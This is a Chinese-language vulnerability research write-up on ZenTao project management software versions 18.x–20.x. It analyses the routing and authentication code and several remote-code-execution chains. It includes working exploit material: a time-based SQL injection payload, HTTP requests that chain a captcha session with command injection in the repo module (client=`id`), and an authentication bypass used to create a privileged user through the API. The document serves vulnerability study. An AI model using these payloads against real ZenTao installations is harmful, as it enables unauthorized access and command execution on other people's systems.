禅道18.x-20.x版本漏洞挖掘思路分析
字数 2095 2025-08-22 22:47:30
禅道18.x-20.x版本漏洞挖掘思路分析
1. 框架分析
1.1 路由分析
禅道入口文件有三个:
- api.php(接口)
- index.php
- x.php
三者路由文件主要思路相似,都会引用以下四个基本文件:
include '../framework/router.class.php'; // 路由文件
include '../framework/control.class.php'; // 控制器文件
include '../framework/model.class.php'; // 模型文件
include '../framework/helper.class.php'; // 助手函数
通过router::createApp进行程序应用创建:
$app = router::createApp('pms', dirname(dirname(__FILE__)), 'router');
// baseRouter::createApp()方法
public static function createApp(string $appName = 'demo', string $appRoot = '', string $className = '', string $mode = 'running') {
if(empty($className)) $className = self::class;
return new $className($appName, $appRoot, $mode);
}
index.php入口文件会进行router实例化触发__construct,实现多项程序配置:
public function __construct(string $appName = 'demo', string $appRoot = '', string $mode = 'running') {
// 多项配置设置...
$this->loadMainConfig(); // 加载config目录下默认的config.php文件
$this->loadClass('front', $static = true);
// 更多类加载...
$this->connectDB(); // 自动连接数据库
// 更多设置...
}
路由处理流程:
$app->parseRequest()- 根据请求类型(PATH_INFO/GET)解析URL$app->setParams()- 参数设置$common->checkPriv()- 权限检测$app->loadModule()- 模块加载
1.2 鉴权分析
通过commonModel::checkPriv进行鉴权,$openMethods数组存储允许未授权访问的方法,还可以在isOpenMethod方法中判定是否可以未授权访问。
isOpenMethod方法列举了可以未授权访问的方法:
public function isOpenMethod(string $module, string $method): bool {
if(in_array("$module.$method", $this->config->openMethods)) return true;
if($module == 'block' and $method == 'main' and isset($_GET['hash'])) return true;
if($this->loadModel('user')->isLogon() or ($this->app->company->guest and $this->app->user->account == 'guest')) {
if(stripos($method, 'ajax') !== false) return true;
// 更多开放方法判断...
}
return false;
}
用户认证方式:
userModel::isLogon()- 判断用户是否登录identifyByCookie- 通过cookie认证identifyByPhpAuth- 通过PHP server用户认证
本质都是通过userModel::identifyUser验证用户和密码,默认通过比对32位md5值校验。
2. 近两年RCE漏洞分析
2.1 baseRouter::setVersion SQL注入
baseRouter::setVision()方法没有对$account过滤直接拼接到SQL语句并执行,存在SQL注入。
触发方式:在请求中GET或POST添加account参数并写入payload:
/?account=admin' AND (SELECT 1337 FROM (SELECT(SLEEP(5)))a)-- b
2.2 captcha session+repoModel命令注入
2.2.1 captcha获取session
module/misc/control.php中captcha方法能设置任意key的session:
public function captcha($type = '') {
$this->session->set($type, $this->post->captcha);
// ...
}
2.2.2 后台repoModel命令注入
module/repo/model.php的checkConnection函数存在命令注入:
public function checkConnection() {
if($this->post->SCM == 'Subversion') {
$client = $this->post->client;
exec("$client --version", $version, $result);
// ...
}
}
绕过checkClient方法:
- 创建仓库时SCM设置为Gitlab可以绕过第一次
checkClient - 编辑仓库时修改SCM为Subversion触发
checkConnection执行命令
2.2.3 漏洞复现步骤
-
通过访问验证码获取session:
/zentao/misc-captcha-user.html -
创建仓库(SCM设置为Gitlab):
POST /zentao/repo-create.html HTTP/1.1 Content-Type: application/x-www-form-urlencoded product%5B%5D=1&SCM=Gitlab&name=66666&path=&encoding=utf-8&client=&account=&password=&encrypt=base64&desc=&uid= -
编辑仓库触发命令执行(SCM改为Subversion):
POST /zentao/repo-edit-10000-10000.html HTTP/1.1 Content-Type: application/x-www-form-urlencoded SCM=Subversion&client=`id`
2.3 captcha session+convert-importNotice SQL注入+定时任务RCE
漏洞链:
convertModel::dbExists()方法存在SQL注入convert::importNotice()调用dbExists且未过滤外部数据- 通过堆叠注入修改定时任务实现RCE
2.4 custom::ajaxSaveCustomFields+apiGetModel+repoModel::checkConnection命令注入
漏洞链:
custom::ajaxSaveCustomFields未过滤外部输入直接修改配置- 修改
$config->features->apiGetModel开启超级Model功能 api::getModel()通过call_user_func_array实现任意代码执行
2.5 testcase::saveXmindImport auth bypass
2.5.1 deny获取session
commonModel::deny()方法可以设置session绕过身份认证:
public function deny(string $module, string $method, bool $reload = true) {
if($reload) {
$user = $this->app->user;
// 获取权限...
$this->session->set('user', $user);
// ...
}
}
testcase::saveXmindImport调用deny方法:
public function saveXmindImport() {
if(!commonModel::hasPriv('testcase', 'importXmind'))
$this->loadModel('common')->deny('testcase', 'importXmind');
// ...
}
2.5.2 api接口创建用户
usersEnty::post()可以创建用户,没有权限检查:
public function post() {
// 设置用户信息...
$control = $this->loadController('user', 'create');
$this->requireFields('account,password1,realname');
$control->create();
// ...
}
2.5.3 漏洞复现步骤
-
设置session:
/zentao/api.php?m=testcase&f=savexmindimport&HTTP_X_REQUESTED_WITH=XMLHttpRequest -
创建用户(POST请求):
POST /zentao/api.php/v1/users HTTP/1.1 Content-Type: application/x-www-form-urlencoded account=attacker&password1=123456&realname=attacker&group=1&role=top
3. 漏洞挖掘思路总结
- 路由分析:理解禅道的路由机制,关注
isOpenMethod和$config->openMethods定义的白名单 - 鉴权绕过:寻找可以设置session的地方,如
captcha和deny方法 - SQL注入:搜索直接拼接SQL语句的地方,特别是PDO允许多语句执行的情况
- 命令注入:查找
exec、system等函数调用,分析参数是否可控 - 配置修改:寻找可以修改系统配置的接口,如
custom::ajaxSaveCustomFields - API滥用:检查API接口的权限控制,特别是超级Model功能
- 定时任务:分析定时任务执行机制,寻找注入点修改任务内容
通过系统性地分析禅道的框架机制和权限控制,可以有效地发现潜在的安全漏洞。